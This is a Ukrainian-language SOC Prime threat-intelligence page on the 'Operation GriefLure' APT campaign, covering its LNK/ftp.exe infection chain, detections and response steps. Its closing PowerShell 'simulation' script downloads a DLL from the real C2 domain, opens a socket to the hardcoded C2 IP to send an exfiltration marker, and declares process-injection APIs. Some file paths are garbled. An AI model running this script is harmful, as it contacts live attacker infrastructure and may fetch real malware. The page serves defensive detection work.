SOC Prime Bias: Критичний

08 May 2026 18:40

Операція GriefLure: Аналіз APT-кампанії, націленої на військовий телеком В’єтнаму та філіппінський сектор охорони здоров’я

Author Photo
SOC Prime Team linkedin icon Стежити
Операція GriefLure: Аналіз APT-кампанії, націленої на військовий телеком В’єтнаму та філіппінський сектор охорони здоров’я
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Лабораторія Seqrite виявила цільову фішингову кампанію, яка використовувала шкідливі Windows LNK файли, сховані в подвійно стиснутих архівах RAR. При відкритті LNK запускав вбудований ftp.exe завантажувач, який відновлював поліморфний корисний навантажувач під назвою sfsvc.exe з фрагментованих .doc файлів, збережених на комп’ютері жертви. Ця активність була спрямована на вищих керівників в секторі телекомунікацій, що належить армії В’єтнаму, та персонал в приватній лікарні на Філіппінах, використовуючи документи, що виглядали легітимними, як приманку. Повний ланцюг зараження завершувався менш ніж за десять секунд і залишав мінімальні артефакти на диску.

Розслідування

Розслідування розібрало структуру архіву, розпакувало шлях виконання LNK і зворотно спроектувало власний sfsvc.exe завантажувач, який був розроблений, щоб нагадувати regsvr32.exe. Аналітики задокументували DLL сайдлодінг, виконання шелкоду в пам’яті, ін’єкцію процесу, а також командно-контрольні комунікації через замаскований домен. Огляд артефактів також виявив жорстко закодований C2 домен, www.whatsappcenter.com, розміщений через захищений провайдер у Гонконзі.

Пом’якшення

Захисники повинні блокувати виконання LNK файлів, доставлених через вкладання в електронній пошті, та контролювати використання вбудованого ftp.exe з підозрілими аргументами командного рядка. Детекція на кінцевих пристроях повинна зосередитися на безфайловому завантаженні DLL, записах альтернативного потоку даних в C:UsersPublicUpdate, та швидкому створенні sfsvc.exe. Організації також повинні посилити перевірку походження документів та навчати користувачів щодо приманок, які виглядають як легітимні юридичні або пов’язані з витоками файли.

Реакція

Якщо виявлено шкідливий LNK або sfsvc.exe процес, негайно ізолюйте постраждалий кінцевий вузол, зберіть летучу пам’ять і шукайте 360.*.dll файли завантажувача і артефакти альтернативного потоку даних. Виявлений домен командно-контроль і відповідні IP-адреси слід блокувати, а відповідні дії повинні початися, щоб визначити, чи якась інформація була ексфільтрована. Слід також проводити ширший пошук для подібної активності, пов’язаної з LNK, по всьому середовищу. ftp.exe loader activity across the environment.

graph TB %% Визначення класів classDef action fill:#c2e0ff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#d0ffd0 classDef malware fill:#ff9999 classDef c2 fill:#ffb3e6 %% Вузли – ланцюг атаки attack_initial_access[“<b>Дія</b> – <b>T1566.001 Фішинг із вкладенням</b><br/>Жертва отримує двічі стиснутий RAR-архів із шкідливим LNK-файлом”] class attack_initial_access action artifact_rar[“<b>Файл</b> – RAR-архів<br/>Містить легітимний на вигляд юридичний документ і шкідливий LNK”] class artifact_rar file artifact_lnk[“<b>Файл</b> – Шкідливий LNK<br/>Подвійне розширення (наприклад document.lnk.rar) для обходу детекції”] class artifact_lnk file tool_ftp[“<b>Інструмент</b> – ftp.exe (системний бінарник Windows)<br/>Використовується як проксі для запуску прихованого batch-скрипта”] class tool_ftp tool process_batch[“<b>Процес</b> – Batch-скрипт<br/>Виконує copy /b для збирання payload у sfsvc.exe та 360.dll”] class process_batch process file_sfsvc_exe[“<b>Файл</b> – sfsvc.exe<br/>Фінальний виконуваний файл payload, зібраний із фрагментів”] class file_sfsvc_exe file file_360dll[“<b>Файл</b> – 360.dll<br/>Поліморфна DLL для side-loading та доставки shellcode”] class file_360dll file action_modify_path[“<b>Дія</b> – <b>T1574.007 Зміна змінних середовища (PATH)</b><br/>Додає C:\\Users\\Public\\Update до PATH для закріплення”] class action_modify_path action action_dll_side_load[“<b>Дія</b> – <b>T1574.002 DLL side-loading</b> & <b>T1546.009 AppCert виконання DLL</b><br/>sfsvc.exe завантажує 360.dll через /calldll та DllRegisterServer”] class action_dll_side_load action process_explorer[“<b>Процес</b> – explorer.exe<br/>Цільовий процес для інʼєкції DLL”] class process_explorer process action_process_injection[“<b>Дія</b> – <b>T1055.001 DLL-інʼєкція</b><br/>360.dll інʼєктує shellcode другої стадії в explorer.exe”] class action_process_injection action action_discovery[“<b>Дія</b> – <b>T1057 Розвідка процесів</b> & <b>T1518.001 Розвідка захисного ПЗ</b><br/>Перелік запущених процесів і встановлених засобів захисту”] class action_discovery action action_cred_access[“<b>Дія</b> – <b>T1555.003 Облікові дані браузерів</b> & <b>T1552.001 Дані у файлах</b><br/>Викрадення паролів, cookie та конфігураційних файлів”] class action_cred_access action action_collection[“<b>Дія</b> – <b>T1113 Знімки екрана</b> & <b>T1083 Розвідка файлів і директорій</b><br/>Збір скріншотів і списків директорій”] class action_collection action action_exfiltration[“<b>Дія</b> – <b>T1071.001 HTTPS</b> & <b>T1573 Шифрований/обфускований канал</b><br/>Передача даних на C2 через XOR-шифрований HTTPS”] class action_exfiltration action c2_server[“<b>C2 сервер</b> – www.whatsappcenter.com<br/>Отримує викрадені дані”] class c2_server c2 %% Звʼязки attack_initial_access –>|доставляє| artifact_rar artifact_rar –>|містить| artifact_lnk artifact_lnk –>|запускає| tool_ftp tool_ftp –>|виконує| process_batch process_batch –>|створює| file_sfsvc_exe process_batch –>|створює| file_360dll file_sfsvc_exe –>|активує| action_modify_path action_modify_path –>|дозволяє| action_dll_side_load file_360dll –>|завантажується| action_dll_side_load action_dll_side_load –>|інʼєктує| process_explorer process_explorer –>|ціль| action_process_injection action_process_injection –>|активує| action_discovery action_discovery –>|постачає дані| action_cred_access action_cred_access –>|передає| action_collection action_collection –>|переходить у| action_exfiltration action_exfiltration –>|надсилає| c2_server

Потік атаки

Виявлення

Можливий шкідливий LNK файл з подвійним розширенням (через cmdline)

Команда SOC Prime
07 травня 2026

Можливе виконання FTP сценарію з незвичними розширеннями (через cmdline)

Команда SOC Prime
07 травня 2026

Підозріле виконання з загального профілю користувача (через створення процесу)

Команда SOC Prime
07 травня 2026

Альтернативне віддалене управління / програмне забезпечення для управління (через створення процесу)

Команда SOC Prime
07 травня 2026

Підозрілі файли в загальному профілі користувача (через файл події)

Команда SOC Prime
07 травня 2026

IOCs (HashSha256) для виявлення: Операція GriefLure: Аналіз кампанії APT, націленої на військовий телекомунікаційний сектор В’єтнаму та сферу охорони здоров’я Філіппін

Правила SOC Prime AI
07 травня 2026

IOCs (SourceIP) для виявлення: Операція GriefLure: Аналіз кампанії APT, націленої на військовий телекомунікаційний сектор В’єтнаму та сферу охорони здоров’я Філіппін

Правила SOC Prime AI
07 травня 2026

IOCs (DestinationIP) для виявлення: Операція GriefLure: Аналіз кампанії APT, націленої на військовий телекомунікаційний сектор В’єтнаму та сферу охорони здоров’я Філіппін

Правила SOC Prime AI
07 травня 2026

Виявлення комунікації C2 операції GriefLure [Windows Мережеве з’єднання]

Правила SOC Prime AI
07 травня 2026

Виявлення активності операції GriefLure з використанням ftp.exe і sfsvc.exe [Windows Створення процесу]

Правила SOC Prime AI
07 травня 2026

Виконання симуляції

Обов’язкова умова: Телеметрія і перевірка базових показників повинні бути пройдені до виконання.

Обґрунтування: Цей розділ описує точне виконання методу противника (TTP), призначеного для запуску правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP і намагатися згенерувати точну телеметрію, очікувану логікою виявлення. Абстрактні або не пов’язані приклади приведуть до неправильної діагностики.

  • Наратив і команди атаки:
    Зловмисник, отримавши початковий плацдарм через фішингове вкладення (T1566.001, T1204.002), обирає підхід living-off-the-land щоб уникнути виконуваних корисних навантажень. Використовуючи вбудований cmd.exe (T1059.003) запускають PowerShell однолайнер, що виконує наступні кроки:

    1. Виявлення – перерахування системної інформації (T1082) і запущених процесів (T1057) для визначення відповідної цілі ін’єкції.
    2. Збір даних входу – читання сховищ браузера (T1555.003) і дамп файлів з даними входу (T1552.001) у тимчасовий каталог.
    3. Отримання корисного навантаження – завантаження шкідливої DLL з C2 домену www.whatsappcenter.com через HTTPS (T1071.001, T1041).
    4. Ін’єкція процесів – ін’єкція DLL у explorer.exe (T1055.001) для отримання персистентності та підвищення привілеїв.
    5. C2-комунікація – відкриття постійного TCP-з’єднання до 38.54.122.188 (жорстко закодована IP) і початок ексфільтрації зібраних даних.

    Критичним кроком, який задовольняє правило Sigma, є спроба вихідного з’єднання до точного домену/IP, що буде зафіксовано Sysmon та брандмауером Windows.

  • Скрипт для регресійного тесту:

    # -------------------------------------------------
    # симуляція GriefLure C2 – версія PowerShell
    # -------------------------------------------------
    # 1. Виявлення системи (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. Симуляція збору даних входу (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. Завантажити шкідливу DLL з жорстко закодованого C2 домену (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. Ін'єкціювати DLL у explorer.exe (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (Самі кроки ін’єкції пропущені для краткості; у реальних тестах треба викликати вищенаведені API.)
    
    # 5. Відкрити постійне C2-з'єднання з жорстко закодованою IP (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • Команди очищення:

    # Видалити підготовлені файли
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # Закрити усі залишкові з'єднання TCP (якщо ще відкриті)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # За бажанням скидати буфер Sysmon (для чистого стану в повторних тестах)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml